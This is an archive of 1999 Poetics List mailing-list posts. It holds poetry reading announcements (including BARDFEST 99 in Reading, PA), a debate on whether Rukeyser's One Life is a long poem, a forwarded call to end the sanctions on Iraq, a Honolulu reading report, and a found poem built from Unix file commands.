April 1....Fools Day : BARDFEST 99(C) Sampler with stevenallenmay & Craig Czury and others at

April 2....Benefit for the community of Lyons.

April 3....Blue Marsh Lake

April 4....Skyline Drive Fire Tower, Easter Sunrise Service with Poetry

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*April 16....Reading Museum, featuring Harry Humes

April 17...Sahara Restaurant...Poetry Jazz

April 18....Unitarian Church of Reading 6-8PM

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April 28...Birdsboro Library hosted by stevenallenmay

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April 30...'Day of Poetry' Muhlenberg HS 9AM - 2:30PM (Martha Richardson)

* Programs funded by the Berks Arts Council

This page created by Alex K. of G.jC Enterprises, December 1998

Contact the Webmaster at My 7 [redacted].

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

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19. Poetics List

Re: Goodbye Paul, Goodby Khlebnikov

Mon 1 Mar 1999

---

had to reformat this one. Chris

---------- Original message (ID=0E3A9CD6) (163 lines)

Date: Sat, 27 Feb 1999 14:48:00 -0600 (CST)
From: David Baptiste Chirot <[redacted]>
cc: [redacted]
Subject: Re: Goodbye Paul, Goodby Khlebnikov

Mark Prejsnar's remarks re the "knownness" of Khlebnikov brought to mind discussions during the "eyerhymes" Visual Poetry Conference in 1997 with several Ukrainian and Russian visual/sound poets and with Professor Gerald Jenecek (author of The Look of Russian Literature and ZAUM which

both discuss Khlebnikov and the "lesser known" giant of Zaum, Kruchonykh)--there was much discussion of how both in the USA and Russia/Soviet Union Mayakovsky was the first to gain fame--then, Khlebnikov and not yet Kruchonykh--though I hope that Professor Jenecek's book will change that!)--although for the Russians and Ukrainians he was the most revered and respected--and in their countries, as in ours, his work is very hard to come by, still considered beyond the fringe of knowness, so to speak-- A great thanks from all lovers of Russian poetry to Paul Schmidt and his brilliant translation of Khlebnikov and his interesting one of Rimbaud. --dave baptiste chirot

↑ Index

20. Poetics List
Fwd: PS: Starvation Deaths in Iraq
Mon 1 Mar 1999

This was sent to the administrative account, rather than the list. Chris

---
From: [redacted]
Subject: Fwd: PS: Starvation Deaths in Iraq
Date: 2/28/99, 11:26 AM +0000

f.y.i.

In a message dated 2/28/99 9:48:10 AM Eastern Standard Time, [redacted] writes:

<< We have been working on a call to action with Noam Chomsky, Edward Herman, Edward Said, and Howard Zinn. Below is the final draft, which all four of them have signed off on and given permission to distribute. Please publish, broadcast, post or forward as widely as possible.

Thanks, Bob Jensen
for the Austin, Texas, Campaign for a Just Peace in the Middle East
[redacted]
[redacted]

January 8, 1999

A CALL TO ACTION ON SANCTIONS
AND THE U.S. WAR AGAINST THE PEOPLE OF IRAQ

by Noam Chomsky, Edward Herman, Edward Said, and Howard Zinn

At the end of 1998, the United States once again rained bombs on the people of Iraq. But even when the bombs stop falling, the U.S. war against the people

of Iraq continues through the harsh economic sanctions. This is a call to action to end all the war.

This month U.S. policy will kill 4,500 children under the age of 5 in Iraq, according to UN studies, just as it did last month and the month before that, all the way back to 1991. Since the end of the Gulf War, at least hundreds of thousands -- maybe more than 1 million -- Iraqis have died as a direct result of the UN sanctions on Iraq, which are a direct result of U.S. policy.

This is not foreign policy -- it is sanctioned mass-murder that is nearing holocaust proportions. If we remain silent, we are condoning a genocide that is being perpetrated in the name of peace in the Middle East, a mass slaughter that is being perpetrated in our name.

The time has come for a call to action to people of conscience. We are past the point where silence is passive consent -- when a crime reaches these proportions, silence is complicity. There are several tasks ahead of us.

First, we must organize and make this issue a priority, just as Americans organized to stop the war in Vietnam, and to protest U.S. policies in Central America and South Africa. We need a national campaign to lift the sanctions.

This kind of work has already begun, and those efforts need our help. For the past several years, individuals and groups have been delivering medicine and other supplies to Iraq in defiance of the U.S. blockade. Now, members of one of those groups, Voices in the Wilderness in Chicago, have been threatened with massive fines by the federal government for "exportation of donated goods, including medical supplies and toys, to Iraq absent specific prior authorization." Our government is harassing a peace group that takes medicine and toys to dying children; we owe these courageous activists our support.

Such a campaign is not equivalent to support for the regime of Saddam Hussein. To oppose the sanctions is to support the Iraqi people. The people are suffering because of the actions of both the Iraqi and U.S. governments, but our moral responsibility lies here in the United States, to counter the hypocrisy and inhumanity of our leaders.

Also, there has been a virtual embargo on news of the effects of the sanctions in the mainstream media. For the most part, the American people do not know what evil is being carried out in our name. We must continue to apply pressure on journalists at all levels -- from our local papers to the network news -- to cover this tragedy. We should overwhelm the major press with letters to the editor and put pressure on journalists to cover the story.

And we must realize this could be a long struggle. Preparations should begin for all the possible strategies, including civil disobedience once a sufficient

number of people are committed. Direct action that forces a moral accounting likely is going to be necessary.

Whatever else we are doing, we should treat this as an emergency and put it at the top of our agenda. Existing groups can work on the issue, new groups may need to be formed, and national networks need to be built. A good central source of information exists on the web at http://leb.net/IAC/.

Without action by us, the horrors will go on, the children will continue to die. We must appeal to the natural sympathies of the American people, who will respond if they know what is happening. We must therefore bring this issue, in every way we can, to national attention. The only way to avoid complicity in this crime is to do everything we can, and much more than we have been doing, to end the sanctions on Iraq. This issue must be discussed in every household and every public forum across the country.

****

The A-Infos News Service

****

COMMANDS: [redacted]
REPLIES: [redacted]
HELP: [redacted]
WWW: http://www.ainfos.ca/
INFO: http://www.ainfos.ca/org

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21. Douglas

Re: Lee Ann Brown, Sun & Moon

Mon 1 Mar 1999

Just got your message on Monday morning. Yes, Lee Ann
Brown read at Sun & Moon Press yesterday--a wonderful reading
and great conversation.

On March 20th, 4:00 p.m. Fanny Howe and her daughter, Danzy Senna will both read from their new novels. This should be quite an event. Please feel free to attend if you're in the area. The salons are held monthly at 6026 Wilshire Blvd., Los Angeles, CA 90036

Douglas Messerli

Catherine Daly wrote:
>
> Is Lee Ann Brown still reading tomorrow afternoon at Sun & Moon?
>
> I went to her reading at the Rose Cafe. She sang some poems of E.D.'s and

her
> own, some songs. Her sampler poem (read aloud) reminded me of a poem in Mary
> Leader's _Red Signature_, except it seemed so interesting in Brown's
> established context, acrostics like cross stitch. She mentioned the Sun & Moon
> reading but I seem to have fallen off the mailing list and wasn't paying
> attention if it was posted here.
>
> I was completely blown away by Will Alexander's reading at Beyond Baroque last
> night (with Philip Lamantia). I was impressed with Lamantia as expected, but
> Alexander read like the apotheosis of Sun Ra. He used some words I love, like
> "fulminous". After, I watched something on tv about Monk and slide piano
> (Johnson). The Alexander/Lamantia reading seemed a bit hearing the slide
> piano in "Thelonius". I have missed his readings at Sun & Moon, but also the
> panel/conference at LACMA.
>
> Rgds,
> Catherine Daly
> [redacted]

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22. Juan S. Amador Bedford

RCEI 20 C American Women Poets

Tue 9 Feb 1999

The _REVISTA CANARIA DE ESTUDIOS INGLESES_ (RCEI) (Gral. Editor: Manuel Brito) has published issue 37 as a monographic number of 239 pages under the title: "Centered Revisions, Decentered Visions: Twentieth-Century American Women Poets", guest edited by Juan S. Amador Bedford.

Index:
Juan S. Amador Bedford: Introductory Note

Stefanie von Berg and Hartmut Lutz: "Pounded Earth and Heartbeats": 20th Century Poetry by Native Women of North America

Nancy Berke: Anything That Burns You: The Social Poetry of Lola Ridge, Genevieve Taggard, and Margaret Walker

Melba Joyce Boyd: "Prophets for a New Day": The Cultural Activism Margaret Danner, Margaret Burroughs, Gwendolyn Brooks and Margaret Walker During the Black Arts Movement

Susana Ch vez-Silverman: Chicana Outlaws: Turning Our (Brown) Backs on La Ley del Pap (cito)

Mar¡a Herrera-Sobek: The Nature of Chicana Literature: Feminist Ecological Literary Criticism and Chicana Writers

Susan J. Hubert: "A Whole New Poetry Beginning Here": The Poetics/Politics of Adrienne Rich and Audre Lorde

Mary Jane Leach-Rudawski: "And Is She A Com-pat-riot?": The Exile of Mina Loy

Philip McGowan: Uncovering the Female Voice in Anne Sexton

Ann Vickery: Finding Grace: Modernity and the Ineffable in the Poetry of Rae Armantrout and Fanny Howe

Cheryl Walker: Reading Elizabeth Bishop as a Religious Poet

Laura Wright: Play in the Work of Carla Harryman

Liz Yorke: Breaking Through the "Logic of Limits": Adrienne Rich and Radical Complexity

Zhou Xiaojing: Breaking from Tradition: Experimental Poems by Four Contemporary Asian American Women Poets

Reviews:

John M. Bennett: Bipolarity in Sheila E. Murphy's _Teth_

Mar¡a Henr¡quez Betancor: Photographs and Memory: A Chicana Structures Autobiography

Jos, Rodr¡guez Herrera: Misteries and Nature: Levertov's _Sands of the Well_

Ernesto Su rez Toste: Another Art: Elizabeth Bishop's Life and Watercolors

Requests for single issues should be addressed to the Secretariado de Publicaciones, Universidad de La Laguna, Campus Central, La Laguna, Tenerife, Islas Canarias, Espa¤a. Price: $12.00 (U.S. dollars) to be paid by international bank cheque made out to the "Secretariado de Publicaciones".

RCEI is published twice yearly, in April and November.

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For additional information on subscriptions and submissions please visit our web page:
http://www.ull.es/publicaciones/rcei

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23. Poetics List
Francis Berry's Long Poems
Mon 1 Mar 1999

Hi. This came to me at the administrative account. Chris

From: "jesse glass" <[redacted]>
Subject: Francis Berry's Long Poems
Date: 2/26/99, 9:05 AM -0800

We mustn't forget the long dramatic poems of Francis Berry: Ghosts of Greenland, and...there's another about an insurrection in Haiti, I believe. He's an unusual writer. If anyone knows more about him--if he's still living--a bibliography, etc. I'd be interested. He also wrote an interesting book in which he attempts to speculate on the in-the-flesh voice of poets from the "voice" of their poems. All best Jesse Glass

↑ Index

24. louis stroffolino
Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania
Mon 1 Mar 1999

Nice to see my sad home town
does the art deco theatre downtown still say "Help save me" on it?)
getting some play here in poeticsland....

On Mon, 1 Mar 1999, Heather H Thomas wrote:

> *BARDFEST 99(C)*
>
> *Reading, Pennsylvania & Berks County*
>
> *http://www.geocities.com/~poetspride/bardfest99.html*
>
> *Celebrating April... National Poetry Month*
>
> *30 Days / 30 Venues*
>
> *for details contact stevenallenmay:* [redacted]

Events Calendar

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** Programs funded by the Berks Arts Council*

This page created by Alex K. of G.jC Enterprises, December 1998

Contact the Webmaster at My 7 [redacted].

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

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25. Mark Prejsnar

Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)

Mon 1 Mar 1999

Ummm, i just haveta weigh in here, with one point, which is obviously both superficial and crucial: Her Collected Poems, with which i believe she had something to do, includes One Life prominently as one of her poems.

mark prejsnar

On Fri, 26 Feb 1999, Pierre Joris wrote:

> *Mairead Byrne wrote:*
>
> *It's finally come to me! One Life is the Wendell Wilkie book, is that right?*
>
> *Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a new, experiemntal or whatever, prose/biographical genre rather than a long poem.*
>
> *Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!*
>
> *Pierre*
>
> *You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).*
> *Mairead*
>
> *On Thu, 25 Feb 1999, Burt Hatlen wrote:*
>
> *Re: David Baratier*
>
> *Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.*
>
> *Burt Hatlen*

> --
> ==========
> *Pierre Joris*
> [redacted]
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel:* [redacted]
> *fax:* [redacted]
> ==========
> *Nomadism answers to a relation that*
> *possession cannot satisfy.*
>
> *— Maurice Blanchot*
> ==========

↑ Index

26. Mark Prejsnar
Re: PHIL LEVINE
Mon 1 Mar 1999

> *Does anybody know of any specific mentions (by Language poets, or others) of the work of Levine (from sentences to essays, negative or positive, by "poets" or "critics", any info. would be helpful.....*

You know somewhere one of 'em (is it in CB's A Poetics, in Perelman's Marginalization, or a more fugative essay, ...?) quotes PL from an interview, indicating that his ideal would be to write a poem without words, to have the words disappear, or to have the poem function in such a way that the language is unimportant and unnoticed by the reader...

This is taken as representative, or rather as exemplary even, of the mainstream desire for poetry (like fiction) to be "transparent" --for the language to be as undistinguished and self-effacing as possible.

All of which i agree with; but it is interesting that PL has at times been *slightly* more interesting than that...Apart from his quirkily work-class detroit jewish anarchism, which sure makes him more insteresting than your run-of-the-mill New Yorker hack, there are (very fleeting) times when his language doesn't wanna self-efface, albeit many of these occured a long time ago: the volume Red Dust, the long poem Pili's Wall, the title poem of the book They Feed They Lion, etc. All of which makes it even more telling that he made the statement about wanting language to disappear....

Sorry i can't recall *where* this mention takes place...

---mark prejsnar

↑ Index

27. david bromige
re re the longer poem/ reading announcement
Mon 1 Mar 1999

I had no idea Mr. Bowering was eavesdropping and peeping tomming on this new list. I thought one reason it had been re-formed, was to keep him and his sort out. Ok, I fess up, one night when I didnt have the price of a beer he had me sign a pact that all my writing could be published under the Bowering logo (moosehead above Carling's brewery and pair of tweed panties rampant on a field of butts). I am sad to learn that he pulled this one on Victor Coleman also, Canada's finest lyric poet; one has to admit that GB's got great taste as a colonizer.

I shall take this matter up with Robert Kroetsch when he reads at UC Berkeley tomorrow Tues Mar 2 from noon-1:30 p.m.at 13 Boalt Hall sponsored by UCB's Canadian Studies Program. This event is bag lunch/skull session; Mr.Kroetsch, a past editor of _Boundary 2_ , will be paired up with Ron Smith, author of _What Men Know About Women_ (I believe GB was a consultant on this book). The title of this joint presentation is "Going Nowhere Fast : Mis/placed Poetics." Hmm. I note that among Kroetsch's many publications is a book titled _Studhorse Man_ . Perhaps a study of George Bowering?

All this aside, I am glad to welcome George to the newly building list of The New Epic poets. "Epic or know the reason ewhy" is our motto, and I shall expand upon this to the List very shortly. (If the tone is flip, still the aim is earnest).

Bromige, now that Bowering is here.

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28. david bromige
Ron Silliman, Poet Laureate
Mon 1 Mar 1999

There, Billy Little! It's as simple as that. All in favor say "I". Bromige.

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29. lee ann brown
Re: Long Poems
Mon 1 Mar 1999

What about

ROBIN BLASER The Moth Poem
The Holy Forest (multi-leaved long poem as Leaves of Grass is)

Michael Ondaatje Billy the Kid poem

Also, works by Kevin Davies (his incremental work builds to book-length long chained works), Jeff Derkson, (long poems is Downtime) Lisa Robertson's Debbie (An Epic) and many others

Love
Lee Ann

> *Subject: Re: long poem / Rosenthal*
>
> *A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.*
>
> *charles*

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

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30. BETSY ANDREWS
Re: THE GIFT BY H.D. THE COMPLETE TEXT
Mon 1 Mar 1999

What time?

> From: Michael Heller <[redacted]>
> To: [redacted]

> Subject: THE GIFT BY H.D. THE COMPLETE TEXT
> Date: Saturday, February 27, 1999 11:43 AM
>
> Jane Augustine asked me to post this notice to the list:
>
> You are invited to a
>
> BOOK PARTY
>
> to celebrate the publication of
>
> THE GIFT BY H.D.: THE COMPLETE TEXT
> (Univ. Press of Florida, December 1998)
>
> Edited by Jane Augustine
>
> (This edition, almost half again the length of the original ND publication,
> contains, in addition to much added text, 94 pages of H.D.'s "Notes" which
> she considered part of the work, and, as well, a gallery of
> never-before-published pictures of H.D.s' relatives, ancestors, and
> historical sites.)
>
> Wednesday, March 3, 1999
>
> Teachers & Writers Collaborative
> 5 Union Square West, 7th Floor
> NYC

↑ Index

31. pete spence

Re: Goodbye Paul, Goodby Khlebnikov

Mon 1 Mar 1999

>From: David Baptiste Chirot <[redacted]>
>cc: [redacted]
>Subject: Re: Goodbye Paul, Goodby Khlebnikov
>
>
>d/b/c said
 Professor Gerald Jenecek (author of The Look of Russian

>Literature and ZAUM which both discuss Khlebnikov and the "lesser known"
>giant of Zaum, Kruchonykh)--
>and not yet Kruchonykh--though I hope that Professor Jenecek's book will
>change that!)--although for the Russians and Ukrainians he was the most

> --dave baptiste chirot
>
>Dave didja get my mail wid the collaboratives in it?? go a catalogue for you will mail shortly// re khleb, the tiflis connection was very important spec via 41 degrees, but also add in chicherin too little known and who produced the great gingerbread book whyche apparently bods like kruchonykh read then ate (the perfect book!!) when yer hungry!! ok yrs pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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32. **Pritchett,Patrick**

Re: LEFT HAND READING 3/11/99

Mon 1 Mar 1999

> *THE LEFT HAND READING SERIES FOR MARCH 11, 1999 PRESENTS:*
>
> *Poets*
> *COLE SWENSEN*
> *JEFFREY ROBINSON*
>
> *Thursday, March 11, 1999 at 8:30pm*
> *Left Hand Books*
> *1825 Pearl Street, between 18th & 19th, above the Crystal Market*
> *Boulder, CO*
>
> *FREE - Donations requested*
> *(Funded in part by a Grant from the Boulder Arts Commission)*
>
> *Cole Swensen's books include "Numen" (Burning Deck), and "Noon," winner of Sun & Moon Press's New American Poetry Award. Her forthcoming books include "Try," winner of the Iowa Poetry Prize, and "O," a chapbook. She is the Director of the Creative Writing Program at the University of Denver.*
>
> *Jeffrey Robinson is the author of "Spliced Romanticism," published by Mellen Poetry Press. His poems have appeared in Many Mountains Moving and*

> *Prairie Schooner, among others. A distinguished professor at the University of Colorado, his scholarly works in the field of Romantic studies include, "The Walk: Notes on a Romantic Image," and "Romantic Presences: Living Images from the Age of Wordsworth & Shelley."*
>
> *For further information contact Mark DuCharme ([redacted]) or Patrick Pritchett ([redacted]).*

↑ Index

33. Jessica Pompeii

Re: Alan Sondheim is In <automated reply>

Mon 1 Mar 1999

****

This is not a response to Alan Sondheim's automated message. Please consider this e-mail, one to be ignored, erased, and most importantly DELETED. More messages need to be deleted sooner. Reading through an entire post without jumping to conclusions can be dangerous to your health, your sanity, and mostly your shitty sex life. Relieve yourself ASAP. Consider yourself warned, by Jessica Pompei. They also call me 87864231. ---------->

DANGER DANGER DANGER ANGER ANGER DANGER DANGER DANGER
==========

↑ Index

34. A. Jenn Sondheim

The Sadness of Directories

Tue 2 Mar 1999

/\

The Sadness of Directories

```
16      cp tf wanders
17      cp thing and
18      touch touches
19      touch her
 (these are the commands creating files 'wanders and touches her')
jennifer: ascii text
wanders: sparc demand paged dynamically linked executable
and:  ascii text
her:  empty
arm:  directory
```

touches: empty
her: empty
thing: ascii text
.: directory
 (this is the result of file -f in relation to files
  'jennifer wanders and her arm touches her thing.')
jennifer ascii text wanders sparc demand paged dynamically linked executable and ascii text her empty arm directory touches: empty her: empty thing: ascii text directory
 (this is the rearrangement of the sad result of file -f exposing
  the futility of emanant life, Oh, how they would love to be alive
  and not so empty!)
Jennifer wanders, her speech in disarray; there's hardly a spark present. She demands too much, pages and pages of her dynamically linked and executing. I think of her empty arm directing and touching everyone everywhere - I'd empty her, turn her into an empty dirty thing, reams of desecrated texts directing anyone, anywhere, to do something -

to do anything at all.

 (this is what Jennifer wanted me to write about the sad result of her files so exposed to you, the emptiness of prosthetics, you know they're all phantom limbs, they're all phantoms, Jennifer says she's a phantom too, she wanted you to know this,

  this empty sad person in her empty life unable to touch anything at all)

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35. juliana spahr
reading report from Honolulu
Tue 2 Mar 1999

I keep feeling it has been a bad year for poetry. And then I realize it has just begun. I'm hoping it gets better soon. Is it because of the rabbit? Or can we expect better things to come in this year? Or am I just jumpy? We have a rabbit calendar in the living room and the furry rabbit pin-up is in a cage for the months of January and February.

Linda Gregg read earlier in the semester to a packed room. I had to sit on the floor in the back. She read some poems about some time she had spent in Greece and about some time she had spent in El Salvador and about some time she had spent in some other places. She talked about how when she was little she didn't know she was rich all she knew was that the sun rose and the sun set

on the land and they had horses. She mentioned Jack Gilbert and Ann Rice and some other people whose names I forget. Her poems are in the lyrical tradition. A sort of lyrical tourism. I think she is based in California. She is a mainland poet.

And then I'm having a disillusionment with the local poetry scene moment. Which isn't fair but I might as well tell about it in an attempt to rid myself of it once and for all. It started late last year when I went to a reading organized by the Guerilla Gardeners Union, a splinter group of the now defunct Wobblies. Gabrielle Welford organizes these readings and they are lefty events (the last one was a "fundraiser" for Mumia and Peltier) and community readings. A lot of new writers read and the emphasis is on work by Pacific Islanders. They are fun events. There is often a band and some hippies come (unusual on Oahu). As usual a number of community poets read but the only one that stays in my mind was a poem that compared colonialism to butt fucking and actually said that no one could possibly like that. The poet is a well respected activist lawyer here. I kind of can't get this out of my mind. It took me a long time to repress it.

But then it all came rushing back last week when I saw Joe Balaz read. He writes poems in pidgin. Sometimes they are a sort of dramatic monologue. I enjoy them and find his work often very astute about local politics. He does visual poems in the Hawaiian language (on the Tinfish website--good for teaching!). And he has a poem about how Hawai'i is the mainland to him. He has a poem about getting "kimo-therapy" (Kimo is a man's name, like Jim; and the poem makes clear that kimo-therapy is a punch in the mouth.) He seems to be turning himself into a sort of performance poet. Like he had props and a lighting staff. He would put on a certain hat and then the light would come on and then he would recite his poem. He unfortunately acted out the woman's voices as high squeaky ones. And once he acted out an old man (and the lights got all dark) for a poem about the last squid. But he read a poem about a naked man on the beach who propositions the narrator and then the narrator beats him with a baseball bat size stick (Balaz picked up a stick he had on stage and demonstrated a hit crotch high). The poem has a tight rhyme and is supposed (I think) to be silly. I say "narrator" but it isn't really a dramatic monologue. It reads in that universal poetry voice.

So I'm trying to figure out the sexuality stuff and not be all weird about it and say generic things about the local scene but I'm having trouble ignoring it and being accepting of it. I keep wondering about the crowd's laughter at the Balaz piece. And yet not really knowing what exactly the proper response is either. And not even being sure of the point of the poem (unlike the wrongness of that equation between colonialism and butt fucking). But I'm still feeling sensitive about those bumper stickers that say save traditional marriage.

But I went to a good series of talks at the Center for Hawaiian Studies a few nights ago. It was on mele ku'e (songs of protest). One song had the line "the greatest of all women are Queen Emma and Queen Victoria." Queen Emma apparently sided with the Brits against the Amer. There was some good hula. And Amy Gillian (a pop local singer) sang some songs she had had translated into Hawaiian. One was about the H3 highway controversy and another was about walking into the Iolani Palace. Some guy did a talk on a mele that compared a missonary guy to an over ripe bannana. It had a lot of good metaphors in about how stupid the man was. And then a guy fom Sudden Rush (a local rap group) sang and talked also. He talked nervously and nonstop and made all these jokes. One was knock knock; who's there?; a portugee burglar. He said he could tell this joke b/c he is Portugese also. The event was fun b/c it made the univ seem alive and in touch with the community to have popular singers taken seriously at a conference on mele ku'e. Apparently Huanani Kay Trask is the one that has made the word ku'e such a rally cry. She found it a mele that some people did a hula to that was about the militia that tried to regain power after Queen L. was kicked out by the haole junta.

And then Roy Miki and Ashok Mathur were just here. They are from Canada. Ashok once did a prairie asians tour in Canada. Roy edits West Coast Line. They had just come from Australia. It was interesting talking to them and about experimental poetry and race issues. They read at a Coffee shop. During the reading people kept walking between the reader and the audience to go to the bathroom. They were all carrying a child's shoe with a key on it and for some reason they refused to not interupt the reading. The reading was good and fun. I especially liked the poems Ashok read from his book _Loverauge_. The audience was very small. I had kind of hoped more people would come b/c Roy has done all this work on the Canadian internment of Japanese-Canadians during WWII and there is a lot of talk here about the U.S. internment. I had hoped the Japanese activist connection would bring out writers from that community. But alas. Among the few present, there was a lady who comes to all the readings here. She asked Bill if he knew what the price of chicken was. And she told me that she was calling California to see if the price of gas had gone down any around here (there is a lawsuit happening here about gas companies price fixing and inflating the cost of gas--it is around $1.50 per gallon; Bill doesn't know the price of chicken but it is probably high also). We went out after the reading and all drank really dark beers and talked. The talk was about curriculum and postcolonialism and, as always, Hawai'i. One person said that Ben Cayetano should just go back to the Philippines, where he came from (I think he was born here but I'm not sure). That comment made the rest of us nervous but no one said anything.

Today Roy and Ashok gave a talk at the English Dept. Ashok read some excerpts from his dissertation on two emerging Indian-Canadian (or is that S.E. Asian-Canadian?) writers whose names I didn't write down and so don't remember but who seemed very interesting and fun. Roy talked a lot about the commodification of minority writing in Canada. The audience was very small. 1/9 of the potential audience had fainted before the talk and another 1/9 had gone with him to the hospital. I felt kind of annoyed at the smallness of the audience (not at the guy who fainted; him I'm worried about) b/c there are a lot of people in my dept who teach and/or study Asian-American literature and I felt they shoulda been interested in what our Northern neighbors are up to. That is the scolding evil side of me that is really just the side of me that longs for cross ocean and land mass communities, no more colonialism ever, and yet more butt fucking overall.

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36. miekal and
Ez @ St Liz
Tue 2 Mar 1999

---

db

The long poem is alive & well, a life's work lived & written thru. History prefigures the outcome, the epickal outlasts any distant memories that words fall short of. From which hospital will you rewrite your glowing paramyth?

ez lb

↑ Index

37. Poetics List
Virtual Poetry Workshop with Hoa Nguyen
Tue 2 Mar 1999

Hi. This came to me at the admin account. Chris

From: "Daniel Kane" <[redacted]>
Date: 3/1/99, 12:13 PM -0500

Teachers & Writers Collaborative is pleased to announce an
on-line poetry workshop led by poet Hoa Nguyen. You can
access this on the WriteNet web site at

http://www.twc.org/forums/virtualpoetrywrkshp.html

8 students from around the country are participating in this workshop. Their poems (and Hoa's responses) can be seen on the forum page at

http://www.twc.org/forums/indexWVW.html

Finally, to learn a little about Hoa's own poetry, check out her bio page at

http://www.twc.org/forums/hoa_nguyen.html

Hoa's exercises are there for all teachers to use -- however, the forum page is reserved for our 8 students only. If you *do* use Hoa's exercises, please drop her line and let her know what you think. She can be reached at

[redacted]

--daniel

#This list-serve is designed for teachers and writers who want #to share ideas on teaching creative writing workshops for students #in grades K-12. To post, send mail to [redacted]. #To join the list-serve, send the message "subscribe writenet" to #[redacted]. #To join the list-serve digest, which will collect several #messages into a batch and send them to you as one message #(reducing the total amount of messages sent to your mailbox), #send the message "subscribe writenet-digest" to [redacted]. #To unsubscribe, send the message "unsubscribe writenet" or #To view an archive of past messages on the Web, go to #<www.twc.org/forums> and hit the "Teachers & Writers #Discussion Group" link.

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38. Maria Damon
queries
Tue 2 Mar 1999

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does anybody have snail mail addresses for World Literature Today, Caribbean Literary Quarterly, or our own beloved Small Press Traffic Newsletter? backchannel please! bests, md

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39. Mairead Byrne
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Tue 2 Mar 1999

Oh for God's sake man The Collected Poems includes a section called From ONE LIFE, which does indeed present many poems from the book called ONE LIFE, which is about the life and times of Wendell Willkie. Some of these poems are called "WILLKIE -- STOPLESS FALLING THROUGH AIR," and "Radio silence of aircraft over the dense ocean," and Rang and rang, rang in a small boy's head," and even "My name Is Tommy Torin," but there is no long poem called ONE LIFE. So stop about it now. Enough. Mairead

On Mon, 1 Mar 1999, Mark Prejsnar wrote:

> *Ummm, i just haveta weigh in here, with one point, which is obviously both superficial and crucial: Her Collected Poems, with which i believe she had something to do, includes One Life prominently as one of her poems.*
>
> *mark prejsnar*
>
> *On Fri, 26 Feb 1999, Pierre Joris wrote:*
>
> *Mairead Byrne wrote:*
>
> *It's finally come to me! One Life is the Wendell Wilkie book, is that right?*
>
> *Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a new, experiemntal or whatever, prose/biographical genre rather than a long poem.*
>
> *Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!*
>
> *Pierre*
>
> *You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).*
> *Mairead*
>
> *On Thu, 25 Feb 1999, Burt Hatlen wrote:*
>
> *Re: David Baratier*
>
> *Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.*
>
> *Burt Hatlen*
>
> --

> ==========
> *Pierre Joris*
> [redacted]
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel:* [redacted]
> *fax:* [redacted]
> ==========
> *Nomadism answers to a relation that possession cannot satisfy.*
>
> *— Maurice Blanchot*
> ==========

↑ Index

40. Rodrigo Toscano

Rodrigo Toscano's New E

Tue 2 Mar 1999

Dear Listees,

Here's my new e and address...

Rodrigo Toscano (all caps) [redacted]

1424 A South Van Ness
San Francisco, CA 94110

[redacted]

R%T

↑ Index

41. Keith Tuma

Brixton Fractals--new edition

Tue 2 Mar 1999

Nate Dorward has asked if I'd forward this to the Buffalo list. Happy to do so as well as to echo his praise for Brixton Fractals.

Keith Tuma

> *Hi all--a long-awaited announcement, appended below: the new _Brixton Fractals_ edition is out. A brief plug of my own: I think many denizens of this list would number _BF_ among the crucial books of the '80s; it is, at*

> *once, a resource-based notation of place & a path of reading/knowledge, a continually self-transforming text (lines & poems are rewritten & resounded from page to page), and a set of narratives whose personified characters--Burglar, Bellman, Artist, Mathematician--call to mind at once Lewis Carroll, Blake, and Langland. -- That's a quick approximation, anyway. And you get this in a book not (like the first edition) liable to dissolve into a sheaf of loose pages!*
>
> *I should also add that later this year I'll be publishing a chapbook of essays associated with _Brixton Fractals_, called _The Topological Shovel_. This will include the important _Necessary Business_ in an updated text. More information forthcoming soon.....*
>
> *Nate Dorward*
> [redacted]
> *109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada*
> *ph:* [redacted]
>
> ---
>
> *New from Tsunami Editions*
>
> *BRIXTON FRACTALS*
>
> *by*
>
> *Allen Fisher*
>
> *(reprint of Brixton Fractals published by Aloes Books, 1985)*
>
> *92 pages securely stapled*
> *9 canadian dollars (plus $1 postage)*
> *to order please email Deanna Ferguson at:*
> [redacted]

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42. louis stroffolino

Reading in Reading, PA...

Tue 2 Mar 1999

I just wanted add to Heather Thomas's list of readings in the hometown of Wallace Stevens, Byron Vazakas, Baziotes, and, yikes, Updyke...

a blatant
self-promotion--
ON APRIL 21st, 1999, I will be returning to my alma matter, Albright College, to read poetry in the very same "south lounge" of the "campus center" where I learned to play piano.
I even think my book, STEALER'S WHEEL (HARD PRESS, 1999), might very well be out by then....

chris

